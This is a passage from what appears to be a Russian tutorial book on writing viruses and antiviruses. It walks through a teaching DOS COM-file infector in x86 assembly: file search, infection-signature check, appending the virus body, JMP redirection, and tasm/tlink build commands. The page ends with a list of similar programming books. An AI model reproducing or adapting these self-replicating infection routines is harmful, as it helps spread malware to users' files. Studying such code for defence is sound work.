Читаем Создаем вирус и антивирус полностью

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

Рис. 1.1

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

Рис. 1.2

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname – offset myself

add dx,bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла – этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок не произошло,

;проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет – будем заражать

je find_next2

jmp Not_infected

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

tasm.exe leo.asm tlink leo.obj/t

Перейти на страницу:

Похожие книги

97 этюдов для архитекторов программных систем
97 этюдов для архитекторов программных систем

Успешная карьера архитектора программного обеспечения требует хорошего владения как технической, так и деловой сторонами вопросов, связанных с проектированием архитектуры. В этой необычной книге ведущие архитекторы ПО со всего света обсуждают важные принципы разработки, выходящие далеко за пределы чисто технических вопросов.?Архитектор ПО выполняет роль посредника между командой разработчиков и бизнес-руководством компании, поэтому чтобы добиться успеха в этой профессии, необходимо не только овладеть различными технологиями, но и обеспечить работу над проектом в соответствии с бизнес-целями. В книге более 50 архитекторов рассказывают о том, что считают самым важным в своей работе, дают советы, как организовать общение с другими участниками проекта, как снизить сложность архитектуры, как оказывать поддержку разработчикам. Они щедро делятся множеством полезных идей и приемов, которые вынесли из своего многолетнего опыта. Авторы надеются, что книга станет источником вдохновения и руководством к действию для многих профессиональных программистов.

Билл де Ора , Майкл Хайгард , Нил Форд

Программирование, программы, базы данных / Базы данных / Программирование / Книги по IT
Основы программирования в Linux
Основы программирования в Linux

В четвертом издании популярного руководства даны основы программирования в операционной системе Linux. Рассмотрены: использование библиотек C/C++ и стан­дартных средств разработки, организация системных вызовов, файловый ввод/вывод, взаимодействие процессов, программирование средствами командной оболочки, создание графических пользовательских интерфейсов с помощью инструментальных средств GTK+ или Qt, применение сокетов и др. Описана компиляция программ, их компоновка c библиотеками и работа с терминальным вводом/выводом. Даны приемы написания приложений в средах GNOME® и KDE®, хранения данных с использованием СУБД MySQL® и отладки программ. Книга хорошо структурирована, что делает обучение легким и быстрым. Для начинающих Linux-программистов

Нейл Мэтью , Ричард Стоунс , Татьяна Коротяева

ОС и Сети / Программирование / Книги по IT
C++
C++

С++ – это универсальный язык программирования, задуманный так, чтобы сделать программирование более приятным для серьезного программиста. За исключением второстепенных деталей С++ является надмножеством языка программирования C. Помимо возможностей, которые дает C, С++ предоставляет гибкие и эффективные средства определения новых типов. Используя определения новых типов, точно отвечающих концепциям приложения, программист может разделять разрабатываемую программу на легко поддающиеся контролю части. Такой метод построения программ часто называют абстракцией данных. Информация о типах содержится в некоторых объектах типов, определенных пользователем. Такие объекты просты и надежны в использовании в тех ситуациях, когда их тип нельзя установить на стадии компиляции. Программирование с применением таких объектов часто называют объектно-ориентированным. При правильном использовании этот метод дает более короткие, проще понимаемые и легче контролируемые программы. Ключевым понятием С++ является класс. Класс – это тип, определяемый пользователем. Классы обеспечивают сокрытие данных, гарантированную инициализацию данных, неявное преобразование типов для типов, определенных пользователем, динамическое задание типа, контролируемое пользователем управление памятью и механизмы перегрузки операций. С++ предоставляет гораздо лучшие, чем в C, средства выражения модульности программы и проверки типов. В языке есть также усовершенствования, не связанные непосредственно с классами, включающие в себя символические константы, inline-подстановку функций, параметры функции по умолчанию, перегруженные имена функций, операции управления свободной памятью и ссылочный тип. В С++ сохранены возможности языка C по работе с основными объектами аппаратного обеспечения (биты, байты, слова, адреса и т.п.). Это позволяет весьма эффективно реализовывать типы, определяемые пользователем. С++ и его стандартные библиотеки спроектированы так, чтобы обеспечивать переносимость. Имеющаяся на текущий момент реализация языка будет идти в большинстве систем, поддерживающих C. Из С++ программ можно использовать C библиотеки, и с С++ можно использовать большую часть инструментальных средств, поддерживающих программирование на C. Эта книга предназначена главным образом для того, чтобы помочь серьезным программистам изучить язык и применять его в нетривиальных проектах. В ней дано полное описание С++, много примеров и еще больше фрагментов программ.

Бьёрн Страуструп , Бьярн Страустрап , Мюррей Хилл

Программирование, программы, базы данных / Программирование / Книги по IT